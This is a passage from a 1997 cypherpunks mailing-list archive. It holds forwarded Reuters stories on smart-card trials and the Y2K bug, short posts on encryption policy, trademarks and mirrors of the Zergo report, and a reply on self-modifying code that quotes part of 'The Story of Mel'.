   
   Monday October 6 10:08 AM EDT 
   
Two N.Y. Banks Launch 'Smart Card' Test

   By Cal Mankowski
   
   NEW YORK - New York's two biggest banks and the Visa and MasterCard
   groups begin a test Monday to find out how readily consumers and
   merchants will switch from cash and coins for smaller purchases to a
   wallet-sized plastic card.
   
   The smart cards, billed as a quick, convenient alternative to cash for
   making everyday purchases, are being distributed to customers of Chase
   Manhattan Corp. and Citicorp. Chase Manhattan is the largest U.S. bank
   based on assets and Citicorp is ranked second.
   
   Citicorp's Citibank retail bank will issue Visa Cash cards to its
   customers. Chase Manhattan will issue its customers the Mondex
   electronic cash product which will appear under the MasterCard banner.
   
   Backers have said a key aim of the test is to demonstrate that the
   different technologies of the Visa Cash and Mondex cards are
   inter-operable" when it comes down to everyday usage. As one
   participant put it, the aim will be to show that two systems can be
   used over one terminal.
   
   Participants will also be hoping the smart cards will prove more
   popular than they did during a much-ballyhood test in Atlanta during
   the 1996 Summer Olympics.
   
   I would have to say it was not as positive as we thought it might be,"
   said one of the people involved in the Atlanta test.
   
   The person, who requested anonymity, said there was a "Catch 22"
   problem in the test -- with merchants declining to be involved because
   not enough consumers had the cards, and consumers complaining that
   there were not enough places to use them.
   
   Although the cards can still be used in the area, about the only place
   they are seen nowadays is the Atlanta area transit system.
   
   Another person familiar with the Atlanta test said that merchants
   surveyed after the Olympics said they liked it, citing among other
   things the added security that comes from not having a lot of cash
   around.
   
   The New York test has signed up about 675 merchant locations, a
   spokeswoman said Friday. The number represents an increase of about 35
   percent from mid-September.
   
   The area targeted for the cards is west of Central Park between West
   60th and West 96th Streets, encompassing an area known as the Upper
   West Side.
   
   A news release in September said Citibank and Chase would each
   distribute 25,000 of the smart cards to customers. Residents of the
   area who were not customers of either bank could get a stand-alone
   smart card from either bank.
   
   The smart cards work like a regular Automated Teller Machine card but
   contain a computer chip that lets customers load" value into the card
   at an ATM or at a special kiosk.
   
   As the cards are used at participating merchants, the purchase is
   deducted from the card's stored value.
   
   For merchants, the sponsors of the test say, the benefit is faster,
   more efficient transactions because the need to make change or handle
   checks is eliminated when the cards are used.
   
   Smart cards have also been tested successfully in closed"
   environments, such as athletics stadiums or at the Army's Fort Leonard
   Wood in Missouri, and participants have said the results have been
   good.
   
   The development of the smart card even gets people talking about
   carrying on commerce without any cash at all, although some believe
   that is a long way in the future.
   
   I just turned 50 and I have trouble envisioning that in my lifetime
   cash will go away," David Slackman, executive vice president of
   consumer banking at Atlantic Bank of New York, said in a recent
   interview. But, he admitted, the volume of cash will probably go down
   as other payment methods win popularity.
   
   Some proponents say the card industry is moving toward a
   "multi-application" card that includes a stored value feature, a debit
   or check" card component, and the traditional credit card.
   
   One issue that proponents of smart cards generally shy away from is
   the preference of some merchants to deal in an all-cash environment
   because of the opportunity to under-report income to tax authorities.
   
   Copyright, Reuters Ltd. All rights reserved
     _________________________________________________________________
                                      
                 ________________________ Search News Help
     _________________________________________________________________
   
   Previous Story: IBM Seeks To Fill Gap In Internet Commerce
   Next Story: Intel Sells Entire VLSI Stake
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka <harka@nycmetro.com>
Date: Tue, 7 Oct 1997 17:49:01 +0800
To: cypherpunks@Algebra.COM
Subject: y2k
Message-ID: <19971007060240.20693@DosLinux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
                        [ Reuters | Wired | ZDNet ]
     _________________________________________________________________
   
   Previous Story: Ameritech Closes Republic Asset Purchase
   Next Story: Microsoft Distributes 1.2 million Browsers
     _________________________________________________________________
   
   Monday October 6 10:02 AM EDT 
   
Millennium Bug Threatens Financial Chaos

   By Nick Edwards
   
   SINGAPORE - The millennium bug computer crisis threatens a global
   liquidity lock-up that could send the world's financial markets
   crashing.
   
   With computers and automated systems now dominating global financial
   trade, experts fear the failure of a small proportion of systems on
   January 1, 2000, would bring chaos.
   
   Machinery installed to make markets more efficient could cause their
   collapse, shattered by computers that fail to recognize the start of
   another working day.
   
   At the end of 1999, many computers will either crash or start gushing
   out meaningless data because of programming shortcuts taken decades
   before to save computer memory.
   
   Abbreviating years to two digits did save memory, but set a time bomb
   ticking for the end of the century when clocks inside computers will
   read a meaningless '00' for the year 2000.
   
   And when the machinery controlling the money that makes the world go
   round seizes up, so too will the markets.
   
   It is our prediction that it will only take five to 10 percent of the
   world's banks payments systems to not work on that one day to create a
   global liquidity lock-up," said Robert Lau, managing consultant at PA
   Consulting in Hong Kong.
   
   I don't think the markets have quite grasped the implications of what
   will happen if the entire system goes down, " Lau told Reuters.
   
   Peeling back the layers of the millennium bug problem is a little like
   peeling back the layers of an onion and the end result is the same --
   it brings tears to the eyes, analysts say.
   
   Banks will not be able to settle accounts, investors will not be able
   to access funds, traders will not be able to make deals, consumers
   will not be able to get cash, companies will not be able to buy
   materials.
   
   Computer experts and business analysts are concerned that the scale of
   the problem is severely underestimated.
   
   Lawyers say millennium litigation in the United States will be huge.
   
   We forecast $1 trillion of litigation in the U.S.," Jeff Jinnett of
   U.S. law firm LeBoeuf Lamb Greene & MacRae told a conference in London
   earlier this year.
   
   Taskforce 2000, a body working with Britain's Department of Trade and
   Industry, thinks the cost of ridding computers of their millennium
   bugs in Britain will be about 31 billion sterling.
   
   In the U.K. it would take the commitment of the entire IT (information
   technology) industry and that is not about to happen," said Taskforce
   2000 executive director Robin Guenier.
   
   IT experts believe that if everybody in the world who has even a
   modest understanding of computer programming were to begin work
   correcting the millennium bug today, only 25 percent of the world's
   affected systems could be rectified.
   
   With international financial markets entirely intertwined, curing the
   millennium bug on Wall Street would be pointless if Asia were
   crippled.
   
   Some analysts think Asia's millennium problem is not as great as that
   of the West because computerization of routine business functions is
   not as widespread.
   
   But key financial markets like Tokyo, Singapore and Hong Kong are
   exposed.
   
   There might be less computing power in Asia, but that does not mean
   there is any less risk," Lau said.
   
   A global survey of millennium bug awareness and preparedness is under
   way at PA Consulting, which aims to publish it by the end of the year.
   Lau expects the findings to make depressing reading.
   
   One problem is that companies underestimate the problem significantly.
   Once they begin to work on it, their estimates of the cost of
   correcting it begin to escalate. Company directors do not see it
   initially as a business issue but an IT issue. Really it's the biggest
   business issue they face," Lau said.
   
   On the international foreign exchange markets for example, more than
   $1 trillion a day changes hands.
   
   Insurance is seen as one solution -- at least in terms of compensating
   firms hit by losses from the bug.
   
   But insurers face myriad millennium problems themselves and could end
   up being the biggest victims of the crisis.
   
   Not only do they have to tackle their own internal systems problems,
   their financial market transactions could be frozen by a global
   systems failure, their investments could plunge and the tangle of
   liability claims could be immense.
   
   Clients have not set aside enough money to deal with the millennium
   bug and the scale of the problem is too large for them to handle
   alone," said Singapore-based Aruno Salvi, general manager of Reliance
   National Asia Re.
   
   Sorting out who will pay for the damage by the thousands of cars
   likely to be in accidents caused by computer-controlled traffic lights
   that just blink out all over the world on January 1, 2000, is just one
   example.
   
   But there is a silver lining to the millennium cloud for some, as PA
   Consulting estimates it could see the end of three percent of the
   world's companies.
   
   On one level the millennium bug is a great opportunity. Some of your
   biggest competitors are going to go out of business," Lau said.
   
   Copyright, Reuters Ltd. All rights reserved
     _________________________________________________________________
                                      
                 ________________________ Search News Help
     _________________________________________________________________
   
   Previous Story: Ameritech Closes Republic Asset Purchase
   Next Story: Microsoft Distributes 1.2 million Browsers
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Tue, 7 Oct 1997 14:32:03 +0800
To: cypherpunks@Algebra.COM
Subject: Another zergo mirror
Message-ID: <Pine.LNX.3.96.971007062747.353A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Hey, it's just kinda funny.

http://bureau42.base.org/mirrors/zergo.html (along with all four, count 'em,
four pictures! :)

dave

Today's pseudorandom quote:
Reality is only for those not blessed with imagination.

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
Keywords: CPSR ACLU DS6724 SF bureau42 Wicca BitchX Pez
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 7 Oct 1997 20:05:00 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 5
Message-ID: <1.5.4.32.19971007110756.00b186e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've received a report on Jim Bell, a request from him for 
books, and his scenario for punishment, contrition, revelation, 
redemption, begging mercy from Sam:

   http://jya.com/jimbell5.htm

What a vicious ransom racket the Sam's devil church runs, 
burying the victim in hell, torturing for tithe.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 7 Oct 1997 13:21:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: russia_1.html
In-Reply-To: <5eace64d33bd306e99f854345cd8c95d@anon.efga.org>
Message-ID: <Pine.BSF.3.96.971007070355.22921A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 6 Oct 1997, Anonymous wrote:
> 
> Anybody know what happened to the proposed fissionless H-bomb of the '60s ?
> Presumambly it never got working.

According to an editorial in the SF Chronicle by Edward Teller from about
a year ago, the folks in Livermore have teamed up with their counterparts
in Russia to develop just that. This is one of marvels of post-cold war
cooperation. Teller failed to understand the need for such a project. 
Clearly, the availability of non-fission (catstrophic)fusion devices
should lead to an increased market penetation of such devices. There are
few products where supply and demand are as missmatched as is the case
with H-bombs. The spot market will welcome this relief. 

 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email
preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 7 Oct 1997 16:05:21 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <v03102802b05ecd3d7f30@[207.167.93.63]>
Message-ID: <130bbbbf.1262b.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

trademarks:

1.  you can not trademark something which is in general use unless you 
    are the general user.

    xerox has made it to the dictionary --it no longer belongs to Xerox 
    unless it is specific.  Kodak almost lost 'Kodak' in the ant-trust
    lawsuit the Berkey (sp?) processing company filed over Kodak's 
    prepaid processing on film.  probably kept it with many extra $$
    in the settlement.


2.  if you are the claimant, you must "protect" the trademark against
    infringers

    I can not think of any losses off hand, but it happens.

3.  a word, in and of itself, can not be trademarked; it must be
    identified with a graphical "image" or conjuring.  CocaCola's
    basic trademark is based on the script lettering, another is the 
    shape of the old bottle, etc.

4.  Asimov, maybe 20 years ago?

any number of other reasons on common usage; they would have been
required to have filed at least prior to CypherNomicon as that is
a substantial work, and well distributed.

it was only a year ago that someone claimed to have been issued
a definitive patent on all means of encryption...  <g> hope springs eternal.

however, it would not hurt to file a complaint with the Patent Office --complaints are free (or they were).

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDlG7704kQrCC2kFAQGgKwQAgXAmTtEqIuZDcIOCrpkz58CtoYljl8Cd
r1cYxAWLLpaDWrFyqv6zljaSErxLXe4y7HTpLioDrZrYllpqRIpNBzdKDze5Nt40
knNHZf5DLZzyMea1ytqL7siwmSPiSPLCiRQvnMoidP6aUXG9nThgfcwdBLwHAHMX
Rh92Ms9MJGI=
=3jv2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Tue, 7 Oct 1997 21:12:18 +0800
To: cypherpunks@toad.com
Subject: Interactive Programming
Message-ID: <199710071304.IAA32054@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



 I know that this isn't precisely on subject, but...

 Most of the people on this list probally do some
 amount of programming, right? Does anyone have
 information about self-modifing programs/routines?
 Thanks for the help.

 -Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 7 Oct 1997 22:44:28 +0800
To: harka@nycmetro.com
Subject: y2K SOLVED!!! / Re: y2k
In-Reply-To: <19971007060240.20693@DosLinux.nycmetro.com>
Message-ID: <343A4764.2C04@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



While watching the Jerry Springer Show this morning, "Update: I Cut Off
My Manhood," I realized that the solution to the year 2000 problem is
simple.
On Jan 1, 2000, all the TV stations can begin showing nothing but Jerry
Springer shows until programmers have time to work out all of the bugs
in the system.
This will keep the people most likely to panic and cause all sorts of
problems busy, while giving people with brain cells left time to fix
whatever problems may remain. (Even if this takes a few years to sort
out, the Power of The Tube is capable of the task.)

I have to go prepare my Nobel Prize acceptance speech...

TruthMonger

Harka wrote:
> 
>                              Reuters New Media
> 
>                     [ Yahoo | Write Us | Search | Info ]
> 
>     [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
>                             Entertain | Health ]
> 
>                         [ Reuters | Wired | ZDNet ]
>      _________________________________________________________________
> 
>    Previous Story: Ameritech Closes Republic Asset Purchase
>    Next Story: Microsoft Distributes 1.2 million Browsers
>      _________________________________________________________________
> 
>    Monday October 6 10:02 AM EDT
> 
> Millennium Bug Threatens Financial Chaos
> 
>    By Nick Edwards
> 
>    SINGAPORE - The millennium bug computer crisis threatens a global
>    liquidity lock-up that could send the world's financial markets
>    crashing.
> 
>    With computers and automated systems now dominating global financial
>    trade, experts fear the failure of a small proportion of systems on
>    January 1, 2000, would bring chaos.
> 
>    Machinery installed to make markets more efficient could cause their
>    collapse, shattered by computers that fail to recognize the start of
>    another working day.
> 
>    At the end of 1999, many computers will either crash or start gushing
>    out meaningless data because of programming shortcuts taken decades
>    before to save computer memory.
> 
>    Abbreviating years to two digits did save memory, but set a time bomb
>    ticking for the end of the century when clocks inside computers will
>    read a meaningless '00' for the year 2000.
> 
>    And when the machinery controlling the money that makes the world go
>    round seizes up, so too will the markets.
> 
>    It is our prediction that it will only take five to 10 percent of the
>    world's banks payments systems to not work on that one day to create a
>    global liquidity lock-up," said Robert Lau, managing consultant at PA
>    Consulting in Hong Kong.
> 
>    I don't think the markets have quite grasped the implications of what
>    will happen if the entire system goes down, " Lau told Reuters.
> 
>    Peeling back the layers of the millennium bug problem is a little like
>    peeling back the layers of an onion and the end result is the same --
>    it brings tears to the eyes, analysts say.
> 
>    Banks will not be able to settle accounts, investors will not be able
>    to access funds, traders will not be able to make deals, consumers
>    will not be able to get cash, companies will not be able to buy
>    materials.
> 
>    Computer experts and business analysts are concerned that the scale of
>    the problem is severely underestimated.
> 
>    Lawyers say millennium litigation in the United States will be huge.
> 
>    We forecast $1 trillion of litigation in the U.S.," Jeff Jinnett of
>    U.S. law firm LeBoeuf Lamb Greene & MacRae told a conference in London
>    earlier this year.
> 
>    Taskforce 2000, a body working with Britain's Department of Trade and
>    Industry, thinks the cost of ridding computers of their millennium
>    bugs in Britain will be about 31 billion sterling.
> 
>    In the U.K. it would take the commitment of the entire IT (information
>    technology) industry and that is not about to happen," said Taskforce
>    2000 executive director Robin Guenier.
> 
>    IT experts believe that if everybody in the world who has even a
>    modest understanding of computer programming were to begin work
>    correcting the millennium bug today, only 25 percent of the world's
>    affected systems could be rectified.
> 
>    With international financial markets entirely intertwined, curing the
>    millennium bug on Wall Street would be pointless if Asia were
>    crippled.
> 
>    Some analysts think Asia's millennium problem is not as great as that
>    of the West because computerization of routine business functions is
>    not as widespread.
> 
>    But key financial markets like Tokyo, Singapore and Hong Kong are
>    exposed.
> 
>    There might be less computing power in Asia, but that does not mean
>    there is any less risk," Lau said.
> 
>    A global survey of millennium bug awareness and preparedness is under
>    way at PA Consulting, which aims to publish it by the end of the year.
>    Lau expects the findings to make depressing reading.
> 
>    One problem is that companies underestimate the problem significantly.
>    Once they begin to work on it, their estimates of the cost of
>    correcting it begin to escalate. Company directors do not see it
>    initially as a business issue but an IT issue. Really it's the biggest
>    business issue they face," Lau said.
> 
>    On the international foreign exchange markets for example, more than
>    $1 trillion a day changes hands.
> 
>    Insurance is seen as one solution -- at least in terms of compensating
>    firms hit by losses from the bug.
> 
>    But insurers face myriad millennium problems themselves and could end
>    up being the biggest victims of the crisis.
> 
>    Not only do they have to tackle their own internal systems problems,
>    their financial market transactions could be frozen by a global
>    systems failure, their investments could plunge and the tangle of
>    liability claims could be immense.
> 
>    Clients have not set aside enough money to deal with the millennium
>    bug and the scale of the problem is too large for them to handle
>    alone," said Singapore-based Aruno Salvi, general manager of Reliance
>    National Asia Re.
> 
>    Sorting out who will pay for the damage by the thousands of cars
>    likely to be in accidents caused by computer-controlled traffic lights
>    that just blink out all over the world on January 1, 2000, is just one
>    example.
> 
>    But there is a silver lining to the millennium cloud for some, as PA
>    Consulting estimates it could see the end of three percent of the
>    world's companies.
> 
>    On one level the millennium bug is a great opportunity. Some of your
>    biggest competitors are going to go out of business," Lau said.
> 
>    Copyright, Reuters Ltd. All rights reserved
>      _________________________________________________________________
> 
>                  ________________________ Search News Help
>      _________________________________________________________________
> 
>    Previous Story: Ameritech Closes Republic Asset Purchase
>    Next Story: Microsoft Distributes 1.2 million Browsers
>      _________________________________________________________________
> 
>     [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
>                             Entertain | Health ]
>      _________________________________________________________________
> 
>                               Reuters Limited
> 
> 
>     Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 7 Oct 1997 22:09:21 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell 5
In-Reply-To: <1.5.4.32.19971007110756.00b186e8@pop.pipeline.com>
Message-ID: <199710071359.JAA03848@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19971007110756.00b186e8@pop.pipeline.com>, on 10/07/97 
   at 07, John Young <jya@pipeline.com> said:


>We've received a report on Jim Bell, a request from him for  books, and
>his scenario for punishment, contrition, revelation,  redemption, begging
>mercy from Sam:

>   http://jya.com/jimbell5.htm

>What a vicious ransom racket the Sam's devil church runs, 
>burying the victim in hell, torturing for tithe.

Amazing how Prozac can change your outlook on life. I wouldn't be suprized
if they started putting it in the water. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNDpB8o9Co1n+aLhhAQES9wP+PW7F8Uv/kI62fp9bWFrQqrvc9XwHAkNe
8BCl9G4ipUyALPKG+kbk/XMxlBx83Zs1JGaSAPGIqMt2aXwmNUyyzxDfqFuvY6wy
Jecy3NdajhfSP+aQ3OEuK2MjC3tX6qNebNRBgosIDuy0vGoqNJUN0HxXCVYSZReQ
xnpbMLjG1MA=
=9edQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 7 Oct 1997 19:24:15 +0800
To: junger@upaya.multiverse.com
Subject: Re: Zergo Report
In-Reply-To: <199710062328.TAA04016@upaya.multiverse.com>
Message-ID: <199710070809.JAA00926@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Junger <junger@upaya.multiverse.com> writes:
> John Young writes:
> : There may be action by HMG to prohibit publication in the
> : UK (and maybe elsewhere) so we've mirrored it at:
> 
> OK.  I have downloaded it to my web site and, though it is not listed
> in any index, it is available at
> <http://samsara.law.cwru.edu/comp_law/zergo.html>.
> 
> But why do you expect HMG to try to suppress it?

It is crown copyright; a report paid for with our (tax payer) money,
copyright the government.  I think theoretically that they could use
that to control republication.  (They were offering copies by calling
a number, but it is now "out of print" or whatever, also paper isn't
as useful as a web page anyway.)

Lots of mirrors ensures there is little point them trying to prevent
it.

There is also a copy at:

	http://www.cl.cam.ac.uk/users/fapp2/healthcare/zergo.html

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 7 Oct 1997 21:31:38 +0800
To: cypherpunks@cyberpass.net
Subject: CyberTimes on Magaziner: "U.S. Encryption Policy Is Unformed"
Message-ID: <1.5.4.32.19971007131437.006ad7b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



CyberTimes / The New York Times
October 7, 1997  

Clinton's Top Internet Adviser Says
U.S. Encryption Policy Is Unformed
By MARTIN NISENHOLTZ

AMSTERDAM -- President Clinton's top Internet policy adviser
acknowledged Monday that the administration lacked a firm position on the
controversial issue of encryption. "We don't have a position" at present,
Ira Magaziner, Clinton's senior adviser for policy development on the
Internet, told representatives of 21 nations, mostly European, gathered here
for the annual High Tech Forum. 

complete article:
http://www.nytimes.com/library/cyber/week/100797encrypt.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Choate <jchoate@tivoli.com>
Date: Tue, 7 Oct 1997 22:28:57 +0800
To: cypherpunks@ssz.com
Subject: Press Release: Federal Government Teams With Tivoli (fwd)
Message-ID: <199710071421.JAA10998@corp.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
>From Sandra_Lara@brahms2.tivoli.com Tue Oct  7 09:17 CDT 1997
X-Lotus-FromDomain: TIVOLI SYSTEMS
From: Sandra_Lara@brahms2.tivoli.com
To: Yall@tivoli.com
Message-ID: <86256529.004E6A0D.00@notes-brahms2.tivoli.com>
Date: Tue, 7 Oct 1997 09:09:58 -0400
Subject: Press Release: Federal Government Teams With Tivoli
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 3758







                  Federal Government Teams With Tivoli To Develop
                              Security Specifications


             Austin, TX, and Baltimore, MD, October 7, 1997 -- Tivoli

        Systems, architect of TME 10, the world's leading systems, network

        and applications management platform, today announced it will work

        with the U.S. Government to establish new security specifications

        for Information Technology solutions.



           Threats to information security have never been more prevalent

        than they are today.  Valuable data is commonly stored within and

        transmitted over corporate and public networks.  The rapid adoption

        of the Intra/Internet for business purposes has magnified the

        challenge of securing this data and has caused an increased demand

        for better methods of establishing IT security certification.



             Responding to this demand, the National Institute of Standards

        and Technology (NIST) and the National Security Agency (NSA) have

        partnered to form the National Information Assurance Partnership

        (NIAP), a joint effort between government and private industry.  To

        help further its goal of developing new certification processes and

        criteria, NIST turned to Tivoli.



           "The NIAP is an important step forward in improving overall

        commercial security," said Gail Daniels, vice president of

        marketing at Tivoli.  "As the introduction of Tivoli's TME 10

        Security Management product made clear some time ago, we have

        solidly demonstrated our commitment to meeting the vast marketplace

        demands for security.  We applaud the NIAP and its efforts as it

        works to identify faster and better methods for certifying security

        products."



             "We are meeting with a broad variety of industry leaders, such

        as Tivoli, to refine the goals of the National Information

        Assurance Partnership and its programs to meet the demands of the

        public and private sectors for timely, efficient and effective

        testing, evaluation, and certification," said Tim Grance, NIAP

        program manager.  "We are determined to make this a collaborative

        effort between industry and government.  With the support of

        industry leaders and their customers, we can do just that."



             Tivoli's TME 10 Security Management is the only product to

        centralize enterprise security management and extend

        mainframe-class access control across distributed

        computing platforms.  Modeled largely upon IBM's RACF, the leading

        access control product for datacenter environments, TME 10

        Security Management was designed for distributed environments,

        including UNIX and Windows NT platforms.



        About Tivoli Systems

             Tivoli Systems provides TME 10, the industry's leading

        solution for end-to-end management of distributed computing

        environments, from mobile computers to mainframes.  Thousands of

        companies around the globe use TME 10 and compatible third-party

        products to reduce the cost and complexity of managing networks,

        systems, databases and applications.  Headquartered in Austin,

        Texas, Tivoli is an IBM Company.  Tivoli distributes its products

        worldwide, through a network of domestic and international sales

        offices, system integrators, resellers and IBM sales channels.  For

        more information, visit Tivoli's World Wide Web site at

        http://www.tivoli.com.



                                        ###












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 7 Oct 1997 22:03:12 +0800
To: cypherpunks@toad.com
Subject: Re: [LONG, off-topic]] Interactive Programming
Message-ID: <199710071346.GAA11853@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Brandon Crosby <bcrosby@mncs.k12.mn.us>
> Subject:       Interactive Programming
> To:            cypherpunks@toad.com
> Date:          Tue, 7 Oct 1997 08:04:05 -0500 (CDT)
> Reply-to:      Brandon Crosby <bcrosby@mncs.k12.mn.us>

>  I know that this isn't precisely on subject, but...
> 
>  Most of the people on this list probally do some
>  amount of programming, right? Does anyone have
>  information about self-modifing programs/routines?
>  Thanks for the help.
> 
>  -Brandon Crosby

This probably *is* off-topic. Cypherpunks these days is
mainly political discussion. Serious crypto programming 
has moved over to coderpunks, and this topic is not really
crypto related, either.

Your use of the term 'self-modifying' needs clarification.
I used to write self-modifying code back when I was doing
heavy assembler work, but only for performance reasons -
on some processors it was faster to modify the address
of an absolute memory reference by changing the instruction,
than it was to use an indexed memory reference.

Self-modifying code of this type is difficult to write, 
non-portable, non-reentrant, and usually to be avoided
like the plague. I haven't done it in years, and use the
story mainly to convince rookie programmers that I'm a 
scary dude.

LISP programmers are much more into writing programs which
build and execute routines on the fly. You might want to
talk to someone into AI.

But for a Real Programmer, and a true story of 
self-modifying code, heres:

---------------------

The Story of Mel, a Real Programmer

This was posted to USENET by its author, Ed Nather (utastro!nather),
on May 21, 1983. 

     A recent article devoted to the *macho* side of programming
     made the bald and unvarnished statement:

         Real Programmers write in FORTRAN.

     Maybe they do now,
     in this decadent era of
     Lite beer, hand calculators, and "user-friendly" software
     but back in the Good Old Days,
     when the term "software" sounded funny
     and Real Computers were made out of drums and vacuum tubes,
     Real Programmers wrote in machine code.
     Not FORTRAN.  Not RATFOR.  Not, even, assembly language.
     Machine Code.
     Raw, unadorned, inscrutable hexadecimal numbers.
     Directly.

     Lest a whole new generation of programmers
     grow up in ignorance of this glorious past,
     I feel duty-bound to describe,
     as best I can through the generation gap,
     how a Real Programmer wrote code.
     I'll call him Mel,
     because that was his name.

     I first met Mel when I went to work for Royal McBee Computer
     Corp., a now-defunct subsidiary of the typewriter company. The
     firm manufactured the LGP-30, a small, cheap (by the standards of
     the day) drum-memory computer, and had just started to
     manufacture the RPC-4000, a much-improved, bigger, better, faster
     -- drum-memory computer. Cores cost too much, and weren't here to
     stay, anyway. (That's why you haven't heard of the company, or
     the computer.)

     I had been hired to write a FORTRAN compiler
     for this new marvel and Mel was my guide to its wonders.
     Mel didn't approve of compilers.

     "If a program can't rewrite its own code",
     he asked, "what good is it?"

     Mel had written,
     in hexadecimal,
     the most popular computer program the company owned.
     It ran on the LGP-30
     and played blackjack with potential customers
     at computer shows.
     Its effect was always dramatic.
     The LGP-30 booth was packed at every show,
     and the IBM salesmen stood around
     talking to each other.
     Whether or not this actually sold computers
     was a question we never discussed.

     Mel's job was to re-write
     the blackjack program for the RPC-4000.
     (Port?  What does that mean?)
     The new computer had a one-plus-one
     addressing scheme,
     in which each machine instruction,
     in addition to the operation code
     and the address of the needed operand,
     had a second address that indicated where, on the revolving drum,
     the next instruction was located.

     In modern parlance,
     every single instruction was followed by a GO TO!
     Put *that* in Pascal's pipe and smoke it.

     Mel loved the RPC-4000
     because he could optimize his code:
     that is, locate instructions on the drum
     so that just as one finished its job,
     the next would be just arriving at the "read head"
     and available for immediate execution.
     There was a program to do that job,
     an "optimizing assembler",
     but Mel refused to use it.

     "You never know where it's going to put things",
     he explained, "so you'd have to use separate constants".

     It was a long time before I understood that remark.
     Since Mel knew the numerical value
     of every operation code,
     and assigned his own drum addresses,
     every instruction he wrote could also be considered
     a numerical constant.
     He could pick up an earlier "add" instruction, say,
     and multiply by it,
     if it had the right numeric value.
     His code was not easy for someone else to modify.

     I compared Mel's hand-optimized programs
     with the same code massaged by the optimizing assembler program,
     and Mel's always ran faster. That was because the "top-down"
     method of program design hadn't been invented yet, and Mel
     wouldn't have used it anyway. He wrote the innermost parts of his
     program loops first, so they would get first choice of the
     optimum address locations on the drum. The optimizing assembler
     wasn't smart enough to do it that way.

     Mel never wrote time-delay loops, either,
     even when the balky Flexowriter
     required a delay between output characters to work right.
     He just located instructions on the drum
     so each successive one was just *past* the read head
     when it was needed;
     the drum had to execute another complete revolution
     to find the next instruction.
     He coined an unforgettable term for this procedure.
